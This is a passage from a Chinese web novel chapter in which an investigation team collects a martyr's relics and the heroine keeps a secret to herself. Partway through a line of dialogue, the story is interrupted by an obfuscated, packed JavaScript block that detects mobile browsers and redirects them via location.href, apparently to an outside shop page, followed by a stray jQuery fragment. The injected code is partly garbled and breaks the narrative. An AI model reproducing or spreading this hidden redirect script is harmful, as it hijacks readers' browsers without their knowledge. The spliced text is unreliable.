全息投影消失了,但洞穴里的发光矿石依然亮着。
三人走出巷道。
矿井外,场面已经被控制。十多个穿深蓝制服的人持枪警戒,地上躺着几个受伤的便衣——包括灰衣男人,他大腿中弹,正被包扎。
一个五十岁左右、面容严肃的男人走上前,出示了证件:“我是特别调查组组长赵建国。哪位是林晚照同志?”
“我是。”林晚照上前一步。
赵建国仔细打量她,目光在她手上的血痕和银镯上停留片刻:“你找到陈启明烈士的遗物了?”
“找到了部分。”
“我们需要全部。”赵建国语气不容置疑,“这是国家财产,涉及重大机密。”
“那王晓芬呢?”林晚照问,“你们把她怎么样了?”
赵建国示意手下。几分钟后,王晓芬被带了过来——她看起来受了惊吓,但没受伤。
“晓芬!”林晚照冲过去抱住她。
“晚照……我、我没事。”王晓芬哭着说,“他们突然冲进来,把李副主任的人都抓了……”
赵建国等她们情绪稍平复,才继续说:“李国华,真实姓名李文斌,是潜伏多年的敌特分子。他冒充公社干部,目的就是寻找‘鹰计划’的遗物,企图偷运出境。”
他看向林晚照:“你们协助破获了这起重大案件,国家会记功。但现在,请交出所有找到的东西。”
林晚照看向陈铁柱和孙瘸子。三人交换了眼神。
最终,林晚照交出了共振圆盘和陈启明的笔记。但银镯她留下了——这是陈启明留给妻子的遗物,从法律上说,她作为“后人”有权保留。
赵建国检查了物品,确认无误后点头:“感谢你们的配合。另外,关于今天发生的事……”
“我们知道。”陈铁柱接话,“保密纪律,不会对外说。”
“很好。”赵建国难得露出一丝笑容,“你们可以回去了。林晚照同志,你的手需要处理一下。”
医疗兵过来给林晚照包扎。在这个过程中,赵建国走到她身边,用只有两人能听到的声音说:
“陈启明烈士还留下了什么话吗?”
林晚照心中一震,但面上不动声色:“没有。只有笔记里的内
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16854266|191601||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
容。”
赵建国深深看了她一眼,没再追问。
离开煤矿时,天已大亮。调查组的人还在清理现场,林晚照四人被护送回村。
路上,孙瘸子低声说:“他们没提时间晶体。”
“也许不知道。”陈铁柱分析,“或者……知道但故意不提。”
林晚照抚摸着手腕上的银镯。她没告诉赵建国关于时间晶体的事,也没说陈启明最后透露的坐标和日期。
那个秘密,她必须自己保管。
回到知青点,已是上午十点。村里人都在议论昨晚的枪声和今天早上的动静,但没人知道具体发生了什么。公社已经下达通知,说是在进行“反特演习”。
王晓芬受到了惊吓,林晚照陪她在屋里休息。其他知青虽然好奇,但见林晚照手上缠着绷带,也没敢多问。
下午,陈铁柱来找林晚照:“